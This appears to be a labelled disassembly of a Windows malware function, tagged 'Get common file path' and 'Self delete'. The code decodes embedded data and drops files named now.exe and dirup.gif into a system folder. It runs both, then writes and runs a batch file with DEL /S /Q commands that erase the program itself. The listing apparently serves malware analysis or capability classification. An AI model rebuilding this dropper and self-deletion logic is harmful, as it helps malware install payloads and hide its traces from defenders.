Function at 0x401384
Capabilities:
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x100c
call fcn.0040dff0
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x100c], eax
mov eax, dword [ebp - 0x100c]
call fcn.0040dff0
mov dword [ebp - 0xf94], 0x4023c0
mov dword [ebp - 0xf90], 0x4385c4
lea eax, [ebp - 0xf8c]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401d52
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0xfac]
sub esp, 0xc
push eax
call fcn.0040d6e0
add esp, 0x10
call fcn.0040d2c0
mov dword [ebp - 0x20], 0x25fe
mov dword [ebp - 0x1c], 0xc7
lea eax, [ebp - 0x38]
mov dword [ebp - 0xfb4], eax
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0xfb8], edx
mov dword [ebp - 0xfbc], 1
cmp dword [ebp - 0xfbc], 0xffffffff
jne 0x401435
jmp 0x4014f2
sub esp, 0xc
push dword [ebp - 0xfb8]
mov dword [ebp - 0xfa8], 9
call fcn.0042a020
add esp, 0x10
add dword [ebp - 0xfb8], 4
dec dword [ebp - 0xfbc]
jmp 0x401427
lea eax, [ebp - 0x48]
mov dword [ebp - 0xfcc], eax
mov edx, dword [ebp - 0xfcc]
mov dword [ebp - 0xfd0], edx
mov dword [ebp - 0xfd4], 1
cmp dword [ebp - 0xfd4], 0xffffffff
jne 0x40151f
jmp 0x4015c9
sub esp, 0xc
push dword [ebp - 0xfd0]
mov dword [ebp - 0xfa8], 7
call fcn.0042a020
add esp, 0x10
add dword [ebp - 0xfd0], 4
dec dword [ebp - 0xfd4]
jmp 0x401511
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
cmp dword [ebp - 0x50], 0x25fd
jg 0x40163a
mov dword [ebp - 0x54], 0
cmp dword [ebp - 0x54], 1
jg 0x401633
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x20]
cmp eax, dword [ebp - 0x50]
jle 0x40162c
sub esp, 8
mov eax, dword [ebp - 0x4c]
add eax, str.MGZI
movsx eax, byte [eax]
push eax
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0x54]
shl eax, 2
lea eax, [edx + eax]
push eax
mov dword [ebp - 0xfa8], 6
call fcn.0042a710
add esp, 0x10
lea eax, [ebp - 0x4c]
inc dword [eax]
lea eax, [ebp - 0x54]
inc dword [eax]
jmp 0x4015e7
lea eax, [ebp - 0x50]
inc dword [eax]
jmp 0x4015d7
sub esp, 0xc
lea eax, [ebp - 0x168]
push eax
push 0
push 0
push 0x25
push 0
mov dword [ebp - 0xfa8], 6
call sub.SHELL32.DLL_SHGetFolderPathA
add esp, 0xc
sub esp, 8
push section..rdata
lea eax, [ebp - 0x168]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push str.now.exe
lea eax, [ebp - 0x168]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
lea edx, [ebp - 0x178]
sub esp, 8
push 0x25fe
push 0
lea eax, [ebp - 0x38]
push eax
push edx
call fcn.00410000
add esp, 0x14
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0xfa8], 5
call fcn.0042a640
add esp, 0x10
jmp 0x401704
sub esp, 0xc
lea eax, [ebp - 0x178]
push eax
mov dword [ebp - 0xfa8], 6
call fcn.0042a4b0
add esp, 0x10
sub esp, 4
push 4
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.0042f320
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x278]
push eax
mov dword [ebp - 0xfa8], 4
call fcn.00437338
add esp, 0x10
sub esp, 0xc
lea eax, [ebp - 0x278]
push eax
call fcn.0042f240
add esp, 0x10
mov ax, word [0x43d00a]
mov word [ebp - 0x378], ax
lea edx, [ebp - 0x376]
mov eax, 0xfd
sub esp, 4
push eax
push 0
push edx
call sub.msvcrt.dll_strcoll
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x378]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push 0x43d109
lea eax, [ebp - 0x378]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 4
push 0x3c
push 0
lea eax, [ebp - 0x3b8]
push eax
call sub.msvcrt.dll_strcoll
add esp, 0x10
mov dword [ebp - 0x3b8], 0x3c
mov dword [ebp - 0x3b4], 0
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], str.open
lea eax, [ebp - 0x378]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x39c], 0
mov dword [ebp - 0x398], 0
sub esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
add esp, 0xc
sub esp, 0xc
lea eax, [ebp - 0x4c8]
push eax
push 0
push 0
push 0x25
push 0
call sub.SHELL32.DLL_SHGetFolderPathA
add esp, 0xc
sub esp, 8
push section..rdata
lea eax, [ebp - 0x4c8]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push str.dirup.gif
lea eax, [ebp - 0x4c8]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0x178]
sub esp, 8
push 0xc7
push 0
lea edx, [ebp - 0x38]
add edx, 4
push edx
push eax
call fcn.00410000
add esp, 0x14
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x48]
add eax, 4
push eax
mov dword [ebp - 0xfa8], 3
call fcn.0042a640
add esp, 0x10
jmp 0x40190e
sub esp, 0xc
lea eax, [ebp - 0x178]
push eax
mov dword [ebp - 0xfa8], 4
call fcn.0042a4b0
add esp, 0x10
sub esp, 4
push 4
lea eax, [ebp - 0x4c8]
push eax
lea eax, [ebp - 0x5c8]
push eax
call fcn.0042f320
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0x48]
add eax, 4
push eax
lea eax, [ebp - 0x5c8]
push eax
mov dword [ebp - 0xfa8], 2
call fcn.00437338
add esp, 0x10
sub esp, 0xc
lea eax, [ebp - 0x5c8]
push eax
call fcn.0042f240
add esp, 0x10
mov ax, word [0x43d00a]
mov word [ebp - 0x6c8], ax
lea edx, [ebp - 0x6c6]
mov eax, 0xfd
sub esp, 4
push eax
push 0
push edx
call sub.msvcrt.dll_strcoll
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0x4c8]
push eax
lea eax, [ebp - 0x6c8]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push 0x43d109
lea eax, [ebp - 0x6c8]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 4
push 0x3c
push 0
lea eax, [ebp - 0x708]
push eax
call sub.msvcrt.dll_strcoll
add esp, 0x10
mov dword [ebp - 0x708], 0x3c
mov dword [ebp - 0x704], 0
mov dword [ebp - 0x700], 0
mov dword [ebp - 0x6fc], str.open
lea eax, [ebp - 0x6c8]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], 0
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0x6ec], 0
mov dword [ebp - 0x6e8], 0
sub esp, 0xc
lea eax, [ebp - 0x708]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
add esp, 0xc
mov dword [ebp - 0x54], str.ceijsHOSX.bat
sub esp, 0xc
lea eax, [ebp - 0x818]
push eax
push 0
push 0
push 0x25
push 0
call sub.SHELL32.DLL_SHGetFolderPathA
add esp, 0xc
sub esp, 8
push section..rdata
lea eax, [ebp - 0x818]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push dword [ebp - 0x54]
lea eax, [ebp - 0x818]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 4
push 0x104
lea eax, [ebp - 0x928]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
add esp, 4
sub esp, 0xc
lea eax, [ebp - 0xa38]
push eax
push 0
push 0
push 0x25
push 0
call sub.SHELL32.DLL_SHGetFolderPathA
add esp, 0xc
sub esp, 8
push str._nDEL__S__Q__
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0x928]
push eax
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push 0x43d135
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push str.DEL__S__Q__
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0xa38]
push eax
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push section..rdata
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push dword [ebp - 0x54]
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 8
push 0x43d135
lea eax, [ebp - 0xe38]
push eax
call sub.msvcrt.dll_strxfrm
add esp, 0x10
sub esp, 4
push 4
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0xf38]
push eax
call fcn.0042f320
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0xe38]
push eax
lea eax, [ebp - 0xf38]
push eax
mov dword [ebp - 0xfa8], 1
call fcn.00436c08
add esp, 0x10
sub esp, 0xc
lea eax, [ebp - 0xf38]
push eax
call fcn.0042f240
add esp, 0x10
sub esp, 4
push 0x3c
push 0
lea eax, [ebp - 0xf78]
push eax
call sub.msvcrt.dll_strcoll
add esp, 0x10
mov dword [ebp - 0xf78], 0x3c
mov dword [ebp - 0xf74], 0
mov dword [ebp - 0xf70], 0
mov dword [ebp - 0xf6c], str.open
lea eax, [ebp - 0x818]
mov dword [ebp - 0xf68], eax
mov dword [ebp - 0xf64], 0
mov dword [ebp - 0xf60], 0
mov dword [ebp - 0xf5c], 0
mov dword [ebp - 0xf58], 0
sub esp, 0xc
lea eax, [ebp - 0xf78]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
add esp, 0xc
sub esp, 0xc
lea eax, [ebp - 0xf38]
push eax
mov dword [ebp - 0xfa8], 2
call fcn.0042f9a0
add esp, 0x10
sub esp, 0xc
lea eax, [ebp - 0x5c8]
push eax
mov dword [ebp - 0xfa8], 4
call fcn.0042f9a0
add esp, 0x10
sub esp, 0xc
lea eax, [ebp - 0x278]
push eax
mov dword [ebp - 0xfa8], 6
call fcn.0042f9a0
add esp, 0x10
lea eax, [ebp - 0x48]
test eax, eax
je 0x401cfd
lea eax, [ebp - 0x48]
mov dword [ebp - 0xff8], eax
add dword [ebp - 0xff8], 8
lea eax, [ebp - 0x48]
cmp eax, dword [ebp - 0xff8]
je 0x401cfd
sub dword [ebp - 0xff8], 4
sub esp, 0xc
push dword [ebp - 0xff8]
mov dword [ebp - 0xfa8], 8
call fcn.0042a4b0
add esp, 0x10
jmp 0x401cce
lea eax, [ebp - 0x38]
test eax, eax
je 0x401d43
lea edx, [ebp - 0x38]
mov dword [ebp - 0x1000], edx
add dword [ebp - 0x1000], 8
lea eax, [ebp - 0x38]
cmp eax, dword [ebp - 0x1000]
je 0x401d43
sub dword [ebp - 0x1000], 4
sub esp, 0xc
push dword [ebp - 0x1000]
mov dword [ebp - 0xfa8], 0xffffffff
call fcn.0042a4b0
add esp, 0x10
jmp 0x401d14
mov dword [ebp - 0xfb0], 0
jmp 0x401f45
lea eax, [ebp - 0xfac]
sub esp, 0xc
push eax
call fcn.0040d780
add esp, 0x10
mov eax, dword [ebp - 0xfb0]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret